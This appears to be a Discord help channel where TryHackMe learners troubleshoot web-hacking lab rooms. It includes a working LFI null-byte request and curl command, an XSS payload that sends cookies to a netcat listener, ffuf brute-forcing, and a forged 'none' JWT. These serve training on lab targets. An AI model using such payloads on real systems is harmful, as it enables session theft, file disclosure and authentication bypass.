✅ Reviewed the room a few times
✅ Terminated and launched the server again
✅ Tried outputting into a file nothing useful

What am I missing?

[hard stump]

facing issue cant accses [ Server not Fond ]
room : uploadvulns > Task 8

annex.uploadvulns.thm
magic.uploadvulns.thm
jewel.uploadvulns.thm

first 3 was fine for me overwrite , shell , java so thats mean my hosts file are ok whats issue here ?

• i had to restart the machine multiple times to make reversesheel upload work its was a bit laggy (not responding)

[toxic steppe]

thoes usernames are not correct. not sure from where you did get them

[rare relic]

I just changed them, so I don't give anything away.

[toxic steppe]

oh

[hard stump]

are you running the terminal in same directory as usernames ?

[toxic steppe]

the valid_usernames.txt and password file must be in same folder from where you running the command

[rare relic]

Correct, I have the terminal open in the folder they are both in /root/Tools/wordlists/SecLists/Passwords/Common-Credentials/

[hard stump]

yes + that or just add directory of the passwords after W1,/usr/......

[hard stump]

i remember i got stuck there too all i did just moved the usernames to a folder without root privileges can accses it and i specified in my cmd where my passoword list is , just add password directory after

ffuf -w valid_usernames.txt:W1,[ur passwordlist dir]:W2 -x  .....

[rare relic]

Thank you, that worked!

[tiny zenith]

Gave +1 Rep to @hard stump

[hard stump]

np Gl with ur path

[rare relic]

This path is really good for learning web exploits, very bad for what hair I have left.

[shell sentinel]

Hello, how can I secure my website from file inclusion attacks?

[proper lynx]

Hey all, i try to finish this part 4 decoder hashing on the burp part and i dont undestand where i failed with the décoder, i know the response so i try to encode etc with the hint and i dont have the same result of the ssh key

[tawny iris]

I finished this a while ago and didn't take very good notes but I remember this one being a real pain. I remember having to decode the the initial key into HEX and then into MD5. I had to be really careful how about cutting and pasting because even one extra space at the end of the key changes the hash completely.

Has anyone found the right exploit for OWASP Top10-2021 Task 15 (Vulnerable and Outdated Components - Lab)? I might have to skip this and come back to it with fresh eyes.

[rare relic]

I just completed that room the other day. Review task 14 and use the resource it shares for task 15. What stumped me was identifying the platform but it's in plain sight which then leads you to use other things the room has taught you as well.

[tawny iris]

I figured that I was simply using the wrong keywords when I searched Exploit-DB. I couln't quite pin it down.

[charred shale]

Is burp suite browser really that slow im on room file inclusion?

[paper spoke]

If it is being too slow for you, firefox and foxy proxy is also an option. I have never used the burp browser so I couldn't tell you if it normally slow or not though.

[quick pelican]

I am also currently trying the owasp top 10 room and task 15 confuses me a lot. task 14 mentions a python script but when I look through exploit database and search for bookstory I only find 4 entries one of them being authentication bypass which is not a python program but a simple text file. The informations work and I could enter as an admin but that doesnt help me finding the flag. Even after googling I found a walkthrough that leads to the text file then suddenly talks about a python script. I am very confused is it possible that this room wasnt updated properly?

[paper spoke]

The room is perfectly fine and accurate. Why are you searching for "bookstory" on exploitdb? Task 14 clearly tells you to search for "||Nostromo 1.9.6||" and upon doing so a python script is found just like the task says.

[quick pelican]

I looked for book store for task 15. I am still a little confused but I found the flag now

[trim totem]

i found it helpful watching an hour video before attempting it alone

since he expanding on some of the topic and made it easier to understnad the "why" behind it

you can lookup "TryHackMe - OWASP Top 10 (2021) - Live Walkthrough" if you are inteasted @quick pelican

[toxic sorrel]

Anyone knows if there is a problem in UploadVulnerabilities TASK11(Challenge) with Burp Suite ? I wasnt able to capture the upload of the bad file i was trying to. It seems like it completely ignored although i could capture a legit file upload...

[dull yarrow]

Hi Everyone, Just doing this room from last month, i was in file inclusion room, i thought i need to have document my work via blogs, can i use the room's screenshots in my blog , is that legal or illegal?

[short wave]

I don't think it is illegal as there are already several writeups on various TryHackMe rooms published over the Internet.

[dull yarrow]

Yeah that's right, just for clarification, thanks ✌️

[oak oxide]

Just did it, it's working my side

[woven yarrow]

Today I finished the SQL Injection room and I've a question about task 10: remediation.
There is the following advice:
Prepared Statements (With Parameterized Queries):

In a prepared query, the first thing a developer writes is the SQL query and then any user inputs are added as a parameter afterwards. Writing prepared statements ensures that the SQL code structure doesn't change and the database can distinguish between the query and the data. As a benefit, it also makes your code look a lot cleaner and easier to read.

=====
Can someone give me simple example who such a SQL code would look like (bad/good one).
Thanks

[wet talon]

Sure (:

An SQL code in php looks like (without prepare):

if(!empty($_GET['id'])){
$result = $odb->query("SELECT * FROM `products` where `id`=" . $_GET['id']);
$product = $result->fetch();
} else{
    die('No product is given.');
}

This code is vulnerable to SQLi as the GET parameter isn't sanitized.

A safe SQL Code should be like (with prepare):

$SQL = $odb -> prepare("SELECT * FROM `users` WHERE `username` = :username");
$SQL -> execute(array(':username' => $username));
$userInfo = $SQL -> fetch();

By using prepared statements, you ensure that user input is treated as data, not executable code, which helps prevent SQL injection attacks.

[woven yarrow]

Thank you!

[surreal rain]

Which "attack server" do I use for the RFI attack (File Inclusion) ?

In playround.php

[misty shadow]

Your own, like a simple python server is already sufficient 🙂

[surreal rain]

Thanks. That worked

[tiny zenith]

Gave +1 Rep to @misty shadow

[rare relic]

@rare relic

[barren warren]

I have completed introduction to cyber security and pre security and web fundamental paths in thm
And now I need to test myself and I put all things i learn into action
Any suggestions which room or Practice series i should complete to achieve my goal

[short wave]

You should try to do some easy rated boxes in THM.

[barren warren]

Ok

[earnest walrus]

Question: Is the burp suite module on the Attackbox still on par for completion of the Burp Suite module. Its for the second time when I try to do tasks that an option is not available. In this case I try to do within Other Modules, task 8, which is Sequencer Live Capture, and for me the Cookie and From field are gray out after I have sent capture the request and sent it to the sequencer.

[winged scroll]

I'm doing Web Fundamentals path and need help in Task 10 (Site Map & Issue Definitions) of Room Burp Suite (The Basics).
I have to receive a flag after visiting unusual endpoint. Tried looking on YouTube etc as well but they don't have this one as their might be some update in this room.

[restive hemlock]

You just need to constantly browse the website, when you hit enough tabs it should open.

[barren warren]

I have completed this path Can you guys please suggest some ctf

[woeful dome]

Any1 has some suggestion for challenges to test my knowledge on different attacks like lfi,sqli,commnad inejct, xxe inject

[restive hemlock]

Have you done all the thm rooms?

[woeful dome]

Nah but im studying the bug bounty hunter path on hack the box and want to try it on some thm rooms

Im specifically looking for any tryhackme rooms

[restive hemlock]

You can use the search to search for keywords. (Tags)

[woeful dome]

Yeah even that cant satisfy me

So im here looking for some suggestion

I would appreciate a room similar to owasp juice shop

[short wave]

This one?

https://tryhackme.com/room/nahamstore

Although this is just a medium-rated one.

[woeful dome]

More please loved this one

[winged scroll]

Hi, I'm doing upload vulnerabilities room but stuck from the start. I'm using attack box and on thm VM, I'm not able to find /etc/hosts (hosts file). Moreover I'm not able to access web page where I have to overwrite an image file. Any guidance please

[restive hemlock]

You need do sudo nano /etc/hosts

[winged scroll]

Okay I proceeded, uploaded img but not getting flag

[winged scroll]

Mountains.jpg file is not there already in Linux places, how I can overwrite it and get the flag

[cursive phoenix]

Hi guys! I just launched the Content Discovery room and I´m stuck on the 1st task 😅 🙈 . I can´t figure out where to start; anyone that can give me a hint? Thank you

[restive hemlock]

Task 1?

[restive hemlock]

All answers to Task 1 is inside the Task 1 text. 🙂

[cursive phoenix]

Oh, I thought I had to search for them in the website

[cursive phoenix]

Thank you so much hahaha

[tiny zenith]

Gave +1 Rep to @restive hemlock (current: #2 - 1883)

[bitter oar]

Hey everyone, I'm working on the File Inclusion room and made it to Challenge 3, but I got quite stuck. I looked at some solutions online to figure out what I was missing and many of them referred to using Burpe Suite. Burpe Suite looks like it's at the end of this path. Is it expected to skip around and come back? I kind of thought the paths would give me the necessary skills as I approached each room instead of having to bounce around.

[lapis fractal]

Hey, I would assume that you were talking about the LFI challenge in Junior Pentesting Room. Using Burp is not mandatory to edit and resend a HTTP request. You can also use "curl" in a CLI or do it directly from the web-browser's developper tools.

[bitter oar]

Apologies, I meant the File Inclusion Room, Task 8, Challenge, Flag 3

Nonetheless, I'll think about your advice with respect to the challenge. I've had some distance to the problem so maybe I can figure it out properly

[cerulean light]

Hello Guys

I am enrolled in Web Fundamentals learning path as a Pro User
By the way, I am a Cyber Practitioner and working for a Canadian firm remotely.

[cerulean light]

Hello everyone, I am at Web Fundamentals path - Room Content discovery, I do not know where to access pwoer shell in a virtual machine provided by @nocturne trout

Please guide

[short wave]

Have you done the Pre-Security path? It should get you familiarized with the Windows environment.

[nocturne apex]

Hi
I resently passed the Jr pentester course
and realize that i interested in web hacking and mb Networks and ABSOLUTELY NOT in privEsc
What i need to do\learn next?

[short wave]

I think what shadow meant was for you to do the Web Fundamentals path.

[nocturne apex]

evidently...

[pseudo sapphire]

Hi everyone. In Upload Vulnerabilities is it possible to do it on attack box or only personal VM?

[short wave]

It should be possible on both.

[untold current]

For the rce task in the upload vulnerabilities room shell.uploadvulns.thm won't let me upload a file once I've already done so before?

[unreal shard]

GET /download?server=localhost:8087/admin%23&id=75482342 HTTP/1.1

Working on my SSRF atm.

why is it %23 for the identifier is that just a common identifier used when using burp to modify get requests for files would it just pull all the files for admin with the request?

[woeful quartz]

%23 is url encode for # which is used to ignore everything in the url that comes after.

[unreal shard]

That makes sense, added to my new things learnt today cheers dude

[median grotto]

hey guys

my /tmp/mount file got bugged, my machine crashed. I can't open it or remove, it just stands on standby for ages. Anyone knows a fix? https://tryhackme.com/r/room/networkservices2 task4

when I do /tmp/mou (press tab) it doesn't complete either, just freezes

rm freezes, sudo rm -rf freezes as well

[smoky agate]

Hello, I have a ffuf behavior i don't understand. Maybe someone can clarify? In the room authentication bypass, the storyline proposes to pass directly the data (with -d) and the headers (with -H) in the command line. Without a cheatsheet, I dont know which format these should have. So my idea was, intercept the Post message with burp, copy - paste it to a file and use the file (modified) in ffuf with the -request flag. To my surprise this doesn't work correctly. It will populate multiple header entries, and then the match regexp will not match what it is supposed to match unless : (a) I modify the file to only contain a couple of essential headers or (b) use burp as a proxy with the -x param. my point (a) was telling me, maybe some header causes a conflict hence ffuf bugs. but (b) honestly I don't understand why it works. Any insight would be greatly appreciated. Thanks in advance

[halcyon ore]

Hi there! I just completed the "Content Discovery" room and learned about ffuf, dirb, and gobuster. I was wondering if one can use those tools as you please to go interrogating websites, or are there some things to be aware of (that might be common sense to cybersec pros but not to noobs like me)?

[short wave]

I still consider myself as a beginner, but before using any tools or doing active recon on any target, make sure that you have explicit and documented approval from the legitimate site or server owner or authorized personnel.

[halcyon ore]

Thanks! this is good info. I wouldn't have thought of this, and kind of wish the tutorials would mention those things.

[tiny zenith]

Gave +1 Rep to @short wave (current: #11 - 640)

[short wave]

There should be a room for it if I remember correctly.

[halcyon ore]

Ah, I haven't made it to that room yet, I'm guessing.

[short wave]

Are you currently subscribed to THM? If not, you may check the PTES (particularly the pre-engagement section).

[halcyon ore]

I am. I'm not sure what you mean by PTES? Is this a room/learning path?

[short wave]

http://www.pentest-standard.org/index.php/Main_Page

[halcyon ore]

👍

[spark heron]

http://webapp.thm/get.php?file=userCV.pdf hi guys , just started file inclusion module . i got confused by the intro which it says that get.php is the file name but the file we are looking for is usercv.pdf instead. can anyone explain to me please ? thanks

[short wave]

If you look at the URL closely, you would see that get.php is vulnerable to file inclusion thus allowing you to see the contents of userCV.pdf.

[spark heron]

So get.php is the file for the web app and usercv.pdf is stored inside it ?

[short wave]

userCV.pdf is stored in the web server where get.php is hosted / served from.

Depending on what filters are defined within get.php, you should be able to retrieve files so long as the context within which the web server runs has access to the files at the server.

[spark heron]

hello , can someone explain why the url has 4 ../ when the current path is /var/www/html ?

[dull kettle]

that's a feature related to the way the website operates
it basically implements the cd .. feature
in this case the .. routes refer to the parent element
it's a routing feature
-> that's what seems to be the case from a slight looking, I'm not even dipping deeper
-______
although the basis of my logic is solid, there's a slight chance the mechanism is slightly different
for you to identify the right mechanism, you have to display minor problem solving skills to identify the logic that fits towards said behavior
or the pattern that fits
forming a conjecture of how it works
once the conjecture is thoroughly tested, it can be turned into a PoC of the whole logical sequence behind said behavior
*** I hope I didn't make any typos or semantic mistakes
---_- The senpais here should know better than me though

­ ­­
__========================================

・

retyping my question:

is there a legit way to bypass TrustedTypes
aside from reversing the createPolicy process
apart from finding out how the createPolicy process is made and trying to reverse it x inject it
is there a legit way ?
back in the trustedTypes github issues there were a lot of cases of bypass and I believe all of them if not most got all remediated

[dull kettle]

manual bypass ☑️

• [ ] Dynamic Bypass as mentioned above ( when I have time, I'll see what I can do )

[somber gale]

Hi guys

I wanted to thank all the creators of the Web Fundamentals pathway for this enlightening content and engaging +challenging labs

Especially Muira. His Upload Vulnerabilities Room was awesome, especially the challenge

[young forge]

Just finished DNS in Detail in How the web works & just curious why the second (nonauthoritative) value is the correct answer rather than the first one given.

Also I can't help wondering if the transporter in Star Trek wasn't using HTTP with TCP to "lock on" to whatever was being sent but that's not possible if HTTP was only invented in 89-91 by Mr Berners-Lee & then I remembered that yes! packet switching had been around long before then!

[young forge]

One last question from http in detail - how is it possible that Content-Length is 0 for all of these?

[molten horizon]

I think because you're PUTting a user and not a file

[molten horizon]

Path traversal technique, it's not so easy to explain unless you seek out to learn and understand yourself
The /../ is used for traversing or moving around directories or paths and the number of ../ used is determined by how deep in a directory or path you're in and where you see trying to traverse to

Like if you're in the /home/user/desktop directory and you are trying to move to /root directory, then you'll move 2 directories back like so../../ and then you'll specify the directory you're moving to, so the final command will be ../../root

I hope this example is helpful to some length

[ripe thunder]

regarding XSS room, I'm a bit confused about the classification of reflected and DOM-based. For example, task 7 level 4, is it considered DOM-based since javascript sink innerHTML is used to called the input text? However the input in directly reflected in the page source instead of using JS function as the source like window.location.search, so is it a reflected XSS?

[late grove]

I’m about to tackle the Pickle Rick CTF. Where can I find a general cheat sheet for CTFs on TryHackMe? Thank you very much, and Happy New Year!

[short wave]

I'm not sure if there is one, but there are a lot of cheatsheets you can find using Google. Also, as you work on your methodology, you may have to create your own cheatsheets.

[late grove]

Thanks

[calm ether]

i am currently in the Upload Vulnerabilities room and using my own VM. i have edited /etc/hosts as directed in Task 1 but i still cannot access the target servers. i keep getting this google page. olease i need some help.

[sacred dome]

http://java.uploadvulns.thm/

enter this in url bar

[calm ether]

thanks a lot, it worked. silly me was not including http:// in the url bar

[tiny zenith]

Gave +1 Rep to @sacred dome (current: #3 - 2069)

[uneven scroll]

Thanks @robust spade

[tiny zenith]

Gave +1 Rep to @robust spade (current: #2677 - 1)

[uneven scroll]

lol this is kinda weird

[fringe dune]

in Web Application / Pentesting
Authentication /Enumeration & Brute Force, no password reset token is valid from 000 to 999. they all have the same repsonse lenght. is this a bug?

[sacred dome]

Can you please verify and provide a screenshot 🙂 ?
https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

[short wave]

Can you share the room link?

[wide apex]

would this path be good enough to refresh for a web app security internship?

[sacred dome]

Finish Web App Pentesting path after this one

This one is pretty basic

[inner geyser]

is there something broken with the CORS & SOP room? i cant complete the regex task and im following it to the T, all i had to change was one thing and the first abitrary task worked so...? am i doing it wrong?

[inner geyser]

nvm i figured out the problem 😄

[slender parrot]

I'm planning to study bug bounty starting with IDOR and SSRF, I wouldn't mind people joining with me 🙂

[molten ibex]

File inclusion room and I'm unable to get the flag3 kindly help

[ivory drum]

Actually, try without %25. So, just use %00 at the end

[molten ibex]

Ok

[ivory drum]

Did that work?

[molten ibex]

No

[sacred dome]

Try to add null payload at the end , also that URL contains way too much / , you need only one

[molten ibex]

It's still not working

[ivory drum]

Try:

POST /challenges//////////chall3.php?file=welcome HTTP/1.1
Host: 10.10.106.118
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://10.10.106.118/challenges/////////chall3.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 26

file=../../../etc/flag3%00

Btw, the Content-* headers are important, and %2500 won't work as the site doesn't support double decoding (as most modern PHP setups don't).

[sacred dome]

I would correct it to /challenges/chall3.php?file=../../../../../../../flag3%00

There's to much / after challenges in that URL

[ivory drum]

It should even work without ?file=

This works as well (curl method):

$ lfi=$(printf '../../../../../../etc/flag3' | yq -r @uri) ; curl -v --trace-ascii - -d file=${lfi}%00 -H "Content-Type: application/x-www-form-urlencoded" http://10.10.189.167/challenges/chall3.php --output -
Warning: --trace-ascii overrides an earlier trace/verbose option
== Info:   Trying 10.10.189.167:80...
== Info: Connected to 10.10.189.167 (10.10.189.167) port 80
== Info: using HTTP/1.x
=> Send header, 168 bytes (0xa8)
0000: POST /challenges/chall3.php HTTP/1.1
0026: Host: 10.10.189.167
003b: User-Agent: curl/8.13.0
0054: Accept: */*
0061: Content-Type: application/x-www-form-urlencoded
0092: Content-Length: 49
00a6: 
=> Send data, 49 bytes (0x31)
0000: file=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fflag3%00
== Info: upload completely sent off: 49 bytes
<= Recv header, 17 bytes (0x11)
0000: HTTP/1.1 200 OK

[molten ibex]

I don't know what mistakes I'm making here

[ivory drum]

You are missing the Content-Type header

[molten ibex]

Even still not working bro

[ivory drum]

show pls

[ivory drum]

your content-type header is incomplete

should be

Content-Type: application/x-www-form-urlencoded

[molten ibex]

Not working bro

[ivory drum]

Content-type should be 1 line, not 2

[molten ibex]

Like this

Bro 🥲

[sacred dome]

URL is wrong

delete all those / after challenge3

also you don't need file parameter in URL since this is a POST request you can have it in body

[molten ibex]

It's fresh link

[ivory drum]

Btw, your "Like this" screenshot was missing etc/ in the file path. It would've worked otherwise 😀

[molten ibex]

No

I'm share fresh link that all

[ivory drum]

I'm referring to the screenshot before that

@molten ibex This is as close as possible to the request you had before and shows that it works:

[sacred dome]

You still have /// use just /

[molten ibex]

It's not working

Finally woked

[ivory drum]

🥳

[molten ibex]

👍

[ivory drum]

Yeah, that content-type header is really important

And true you have too many slashes (/) and no need to have ?file= in the POST url, but it will still work regardless.

[pulsar dock]

so im not sure if this is where i go for this, but i am currently very stuck in this project. Am I doing something wrong with the string?

[lyric sluice]

You're printing fixed Text "... included shipping is 52.8" and then just adding the basket cost to it which is wrong

also you mentioned that the customer_basket_cost is 34 again in your if/else statement, which is a duplicate, since you already have the variable set above

Instead you should update the basket cost with the shipping cost and then just print the basket cost

[pulsar dock]

understood, thank you

[tiny zenith]

Gave +1 Rep to @lyric sluice (current: #234 - 36)

[red viper]

so in the OWASP API Security Top 10 - 1 room

the question

this is the response I am getting

nvm

mb

[broken roost]

Hi everyone, I need help with passing a task in SQL Injection room

[supple glacier]

https://dontasktoask.com/

For future reference

What question are you having issues with?

[steady drift]

Hey Im starting the Walking an application room for web fundamentals, I've launched the machine but the URL it wants me to go to isn't loading at all

[steady drift]

nvm

[full relic]

burp make it look easy

[wispy terrace]

hi all,

I'm doing IDOR section and currently stuck at task 7
i'm supposed to change the value of id to 1,2 or 3 instead of 50 in customer?id=50
went to Network --> clicked on said path --> Response --> right-clicked on 50 and chose "Override Content" --> saved file in Documents

now i'm refreshing the page but nothing is happening

I know i'm deffo doing it wrong, but what am i missing ?
dont' want to do it with any other tools other than Chrome

appreciate your help/tips in advance!

=======================================

I just copied the Request URL and pasted it in the address bar and changed id to 1, and it gave me what i wanted

would love knowing other methods as well

found another way: Firefox (Edit and Send)

[wispy terrace]

can i DM someone for the LFI challenges ?

[sacred dome]

What is the issue ?

[wispy terrace]

Challenge 1:
I changed GET to POST and went on trial and error but nothing is happening

no errors at all to indicate anything

Challenge 2:
changed THM to admin (made sure it was small case because "Admin" gives an error
so i think from here, it's only also trial and error but nothing is happening either

[sacred dome]

How did you change the method ?

[wispy terrace]

from Firefox

Network tab

right-click on "Edit and resend"

one moment, i'm re-opening the box now

even tried it with Burp Suite, but still nothing

alright, i'm in the box now

it seems that i can't send screenshots in here

so i change GET to POST in Network tab
and add the file traversal in the url; like so (this is for challenge 1):
http://10.10.138.81/challenges/chall1.php?file=../../../../etc/flag1

the response is still the same, nothing new happens

[wispy terrace]

by any chance, is there something wrong with the challenges ?

or am i doing something wrong or missing something ?

[sacred dome]

No , there isn't I went through the challenge last week and it works perfectly fine , provide some screenshots of what you're doing

[wispy terrace]

i can't send screenshots

[wispy terrace]

are new users unable to send screenshots ?

[wispy terrace]

managed to do challenge 2

[sacred dome]

You need to verify in order to upload screenshots

[nocturne trout]

Discord: How Do I Verify My TryHackMe Account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Jul 19, 2025, 12:05 AM

[wispy terrace]

done!
thank you

so

for challenge 1

writing anything in File Name doesn't bear any fruit
changing GET to POST (via Burp Suite) and sending it manages to get a 200 OK response.
but i notice that the form action method is always GET; like so:

the form action, is it relevant ?

yes!

it is relevant, i've been changing it in the wrong place!

[wispy terrace]

managed to solve challenge 3 for LFI, but i have a question in it

why did it work with curl and not in the browser ?

changed GET to POST in <form action= ".//chall3.php" method="GET"> (this is when i realised that the filter stops working when we change the method to POST)

but still, in File Name in the browser, whenever i input ../../../../etc/flag3%00, it still showed the error and nothing new was taking place

but when i tried it with curl (here is the command: curl http://10.10.3.176/challenges/chall3.php -X POST -d 'file=../../../../etc/flag3%00' --output /root/Desktop/flag3.txt
it worked just fine

so definitely i was doing something wrong in the browser or missing something

i was using Firefox btw

Burp Suite was a deadend to me (not sure either if i was doing something wrong in it)

[wispy terrace]

Hello there,
having trouble with https://tryhackme.com/room/xss

final task, i created a listener with nc -nlvp 9001 and injected the following payload in the support ticket:
</textarea><script>fetch('http://0.0.0.0:9001?cookie=' + btoa(document.cookie) );</script>

been waiting for more than 15 mins and nothing is happening

i can't pinpoint what is wrong here, would appreciate additional eyes

[wispy terrace]

no one from the mods seems to care responding, i see

[sacred dome]

Mods are volunteers , they're here to moderate the conversation on server not to help with room problems

[sacred dome]

Change that 0.0.0.0 ip to the actual ip of your attackbox

[wispy terrace]

duly noted, apologies

[wispy terrace]

thx, will give it a go now

[tiny zenith]

Gave +1 Rep to @sacred dome (current: #1 - 5631)

[sacred dome]

Also this is a global server , there's a high chance that many people are from a different time zone than you

[wispy terrace]

you're right

i was a bit frustrated with having no responses

sorry again

[raw olive]

Hi, im doing the "Blog" Challange room to test my learnings from this Path. I Think im doing preatty good so far (Went down the Rabbit hole) and got the Creds for one of the Users now i want to Use metasploit with the "multi/http/wp_crop_rce" exploit. It seems to work first but then it the remote Session dies (Screenshot), am i missing sth? I took a look at the writeups after a while but they did the same as I

[short wave]

Did you put in a port as part of the options? It was on ||9000|| if I remember correctly.

[raw olive]

Ahh that makes sense i used the default 4444 metasploit port

[raw olive]

Ok, it worked after Changing LPORT to 9000

[obsidian flare]

I want a dedicated path to build career in Android and IOS penetration testing

[sacred dome]

There's no such path on THM yet , however you can suggest it in #room-ideas or #feedback-and-ideas channels 🙂

[obsidian flare]

If I learn Web-Application Attacks(intermediate) will this also help me Android pentesting?

[sacred dome]

Yeah it will help but you will also need to learn some stuff related to Android environment like Android studio , etc.

[wispy terrace]

hi all,

i'm having an issue with Task 20 in owasptop102021, also in web-hacking-1

I login as guest with password guest as well.
I get the JWT token, remove the signature and modify the header with 'none' and the payload with 'admin'.
I refresh the page but it keeps giving out 'Either the token or its signatrue is invalid, no flag for you'.

I'm pretty sure that everything is right.

[sacred dome]

Can you decode it in cyberchef and send us that screenshot please 🙂 ?

[wispy terrace]

i managed to pinpoint my mistake:
apparently when you modify the jwt token and remove the signature, you have to leave a dot right after the payload
so that did it

[olive shadow]

im trying to complete this web fundament path so guys help me ..........

[wispy terrace]

where are you stuck in the path ?

[olive shadow]

I'm new to cyber security

[olive shadow]

Allmost everything!! I do start one path , getting frustrated 🥴

[wispy terrace]

you will have to be more precise

[olive shadow]

When I planned to start a path for network labs in THM , I DO ET TRIED of finding vulnerability in the lab I can't find even the easy one 🕜 it getting me frustrated and leave the lab .....

[turbid ibex]

Why does burp doesn't intercept the js file so i can edit it ?
Trying to follow along here
https://tryhackme.com/room/uploadvulns

[sacred dome]

Disable interceptor

[rustic tangle]

I have a valid token from a vulnerable endpoint and need to pass it to /apirule2/user/details

How would I do that in Talend API Tester?

... It wasn't Authorization, it was 🥲

[short wave]

Can you advise which THM room is this from so folks who want to help would have an idea where this came from?

[rustic tangle]

Honestly I don't know if I missed something in front of my eyes or not, but fiddling around for an hour~ I finally figured it out. As far as I can tell "Authorization-token" as a header is not common or standard, hence why "Authorization" is the only one that autocomplete in Talend API tester. Then again I'm the noob here, so I could be very wrong.

The hint given is "Get a valid token from a vulnerable endpoint and pass it to /apirule2/user/details." and was, at least for me, no help at all as the hint was the most obvious part to solving this.

Please let me know how and where I should have figured out to use "Authorization-token" if anyone have the time to look at it. If not then meh, it was an annoying hour, but I solved it and have now moved on, but I'm always open to learning if there was something I missed.

https://tryhackme.com/room/owaspapisecuritytop105w
Task 4 - Vulnerability II - Broken User Authentication (BUA)
To which country does [e-mail] belong?

[woven temple]

hello i have a issue in the Task 5 https://tryhackme.com/room/owaspjuiceshop the flag doesnt work

question 3

[nocturne trout]

Information

Discord Slash Commands

https://support.discord.com/hc/en-us/articles/1500000368501-Slash-Commands-FAQ

Aug 27, 2025, 4:56 PM

[woven temple]

I resolved that

[clear quartz]

Hello, currently in the owasp juice shop module and stuck on the 2nd question. I've followed the steps as explained but am unable to get the xss to trigger.

[sacred dome]

Can you provide some shots ?

[worn tiger]

i can't go through the OWASP juice shop XSS persistent injection

I add the header when I logout

but then I log in and go to check my IP, which is still the same and not an xss injection

can someone help me ?

[crude scroll]

Someone else probably already done that, I think you’d have to wait till it resets

[worn tiger]

what ?

i genuinely didn't understand what you meant by that

[crude scroll]

Are u running it thru website? If so other people will access the website too

If u run it on a docker for example you could solve all the tasks without other people involving

[worn tiger]

have you already used tryhackme ?

the machine that you start is personal

[willow flint]

"Meterpreter session 1 closed. Reason: Died". I had problem to establish meterpreter session that was closed down after few seconds. That's the exercise generated for Metasploit: Exploitation - Task 6 Msfvenom. Any advice or suggestion is appreciated.

[sacred dome]

Can you please verify and provide some shots of your metasploit options 🙂 ?

[nocturne trout]

Discord: How Do I Verify My TryHackMe Account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Sep 9, 2025, 11:57 PM

[mint wedge]

Someone having connection problem in the Uploadvulns room @nocturne trout help

[halcyon imp]

did you edit /etc/hosts as instructed in room material?

[mint wedge]

Yes, even editing and I also tested it on Attackbox

[halcyon imp]

do you have a situation similar to reported here, i. e. sometimes the room does not work, and then does a bit later?:

• https://discord.com/channels/521382216299839518/1414933047941267466
• https://discord.com/channels/521382216299839518/1414530336737460345

[mint wedge]

I'll test it again and if it doesn't work I'll forward an email, thank you

[tiny zenith]

Gave +1 Rep to @halcyon imp (current: #13 - 810)

[mint wedge]

apparently it returned to normal, but I sent an email before with the error

[halcyon imp]

thanks for the feedback
I have experienced the same: not working 10-15 minutes ago, working now 🙃

[tiny zenith]

Gave +1 Rep to @mint wedge (current: #3157 - 1)

[rare relic]

Y m not seein' the file main-es2015.js

[crystal flower]

it's main.js, you just find "admin" and you'll see

guys, i get into trouble in Upload Vulnerabilities room: https://tryhackme.com/room/uploadvulns
i've followed instructions and tried to edit the hosts, i still can't access the webpage,
i also do that on attacking machine but got stuck
Does anyone completed this room can give me some advice please?

[rare relic]

thnx man But i did it before

[crystal flower]

Have u reached upload vuln room yet?

Im stucking at editing the hosts file

[rare relic]

Not yet jus started

[crystal flower]

Pls lemme know if you can configure the host

[rare relic]

Ok lemme see

[rare relic]

@crystal flower Hey u done or still stuck

[crystal flower]

Stuck

[rare relic]

Dm. .

@crystal flower

[ornate rampart]

Should I call XSS, http parameter pollution?! Or is this a true name for the vulnerability because I believe it perfectly aligns to the cause of vulnerability!!

[sacred dome]

No those are two pretty different things 🙂

[ornate rampart]

@sacred dome how come?

[sacred dome]

Because they're very different in nature . They're completely different types of vulns. XSS is usually a client-side vuln. while HTTP parameter pollution is a server-side vuln.

[ornate rampart]

But what I have learnt so far is that XSS is a vulnerability that initiates from client-side that impacts the server as in a way of corrupted or malicious request, so I believe saying it a parameter pollution would be same in nature and for this notion I am referring to the chapter 12 of the book "real world bug hunting", if you think this is not the case, then how should I think of it?

[rapid geyser]

Hi, I'm new

Anyone connected?

[brave fox]

welcome 🙂

[rapid geyser]

Ty

https://tenor.com/view/yay-gif-3322389187415957207

😂

Are you an admin?

[brave fox]

no?

[rapid geyser]

Ok

I just want to talk a bit but I don't know good this server

[brave fox]

Try #general 🙂

[gentle barn]

Yeah bro

[woven ingot]

Hi. I'm trying to complete the web fundamentals OWASP Juice Shop, whenever I type in the codes, it keeps coming up as incorrect even though it's correct saying "The answer you provided may not be in English". Any suggestions?

[unreal quail]

can anyone tell me why the OWASP Juice shop room images all show this. Im from the UK.

[halcyon imp]

is that for all parts of the room, like all tasks?

[halcyon imp]

the picture seems to be hosted in imgur.com, which is no longer available in the UK as per screenshot
reported yesteray here: #1422647718374936676 message

[unreal quail]

dammit, yeah all parts of the room are like that. Its really annoying. I cant getg task 7 XSS to produce the flag. I thought maybe there was something in the images that I was missing.

@halcyon imp thanks for the reply.

[tiny zenith]

Gave +1 Rep to @halcyon imp (current: #9 - 958)

[unreal quail]

So i use <iframe src="javascript:alert('xss')"> in the search bar as instructed. The alert appears on screen, but no flag appears.

same happens on task 8 with True-Client-IP header set and <iframe src="javascript:alert('xss')"> set as the value as instructed, burp itnercept on. Resend request. Login in and view last login IP as instructed. Again, no flag appears.

[halcyon imp]

you can search THM Discord for Juice Shop: lots of user have complained for several areas of that room, and I am afraid you will not have a pleasant time in that room regardless of the imgur issue

[unreal quail]

@halcyon imp Yeah ive noticed the complaints after having a dig around discord. Kind of sucks considering I need to finish it to complete the web fundamentals path. I dont want to leave a room unfinished.

[halcyon imp]

that room will not get repaired overnight
one suggestion: Juice Shop is available with Kali here: https://www.kali.org/tools/juice-shop/
I have not used it, and I cannot say if the issues seen with THM room are absent with the Kali install
but if you can do the tasks somehow, you can consider you have covered the room material; you then have the option of searching the Internet for some writeups containing the flags, and that way you can finish that room and path

